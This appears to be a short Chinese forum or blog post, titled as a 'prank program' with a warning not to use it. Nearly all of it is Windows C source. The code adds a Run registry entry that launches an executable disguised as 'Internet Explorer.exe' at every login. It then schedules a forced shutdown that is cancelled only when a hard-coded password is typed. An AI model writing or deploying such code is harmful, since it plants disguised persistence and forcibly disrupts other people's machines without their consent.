标题 C语言恶搞程序!警告,别用!
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *Register = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char *Myapp ="C:\\Users\\Lenovo\\Desktop\\Internet\\zqiwxu\\Debug\\Internet Explorer.exe";
HKEY hKey;
if(RegOpenKeyExA(HKEY_CURRENT_USER, Register, 0, KEY_ALL_ACCESS, &hKey)== ERROR_SUCCESS)
{
RegSetValueExA(hKey, "Mytest", 0, REG_SZ, (BYTE *)Myapp, strlen(Myapp));
RegCloseKey(hKey);
printf("succeed!\n");
}
else
{
printf("Failed!");
return -1;
}
char input[20] = {0};
system("shutdown -s -t 300");
again:
printf("\n");
scanf("%s", &input);
if (0 == strcmp(input,"dagejiuwo"))
{
system("shutdown -a");
}
else
{
goto again;
}
system("exit");
return 0;
}